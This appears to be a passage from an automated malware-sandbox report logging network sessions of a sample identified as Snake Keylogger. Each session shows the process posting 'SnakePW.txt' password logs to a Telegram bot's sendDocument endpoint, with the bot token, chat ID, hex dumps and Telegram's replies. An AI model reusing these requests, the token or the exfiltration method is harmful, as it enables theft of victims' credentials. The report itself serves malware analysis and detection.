2022-06-26 07:33:49 UTC	277	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 65 36 37 37 31 65 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756fe6771e4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:49 UTC	277	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:49 GMT Content-Type: application/json Content-Length: 505 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:49 UTC	278	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66931,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228829,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.5	50020	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:50 UTC	278	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ff000861 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:50 UTC	278	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 66 30 30 30 38 36 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ff000861Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:50 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:50 UTC	279	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66932,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228830,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.5	50021	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:50 UTC	280	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ff3ba338 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:50 UTC	280	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 66 33 62 61 33 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ff3ba338Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:50 UTC	281	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:50 UTC	281	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66934,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228830,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.5	50022	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:50 UTC	282	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ff80c6dd Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:50 UTC	282	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 66 38 30 63 36 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ff80c6ddContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:51 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:51 UTC	283	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66935,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228831,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.5	50023	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:51 UTC	283	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ffb53c00 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:51 UTC	284	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 66 62 35 33 63 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ffb53c00Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:51 UTC	284	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:51 UTC	284	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66936,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228831,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.5	50025	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:51 UTC	285	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757000186aa Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:51 UTC	285	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 30 30 31 38 36 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757000186aaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:52 UTC	286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:52 UTC	286	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66937,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228831,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49785	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:45 UTC	28	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d875d3f9 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:45 UTC	29	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 38 37 35 64 33 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d875d3f9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:45 UTC	29	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:45 UTC	29	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66764,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228765,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.5	50026	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:52 UTC	287	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575700385bfd Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:52 UTC	287	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 30 33 38 35 62 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575700385bfdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
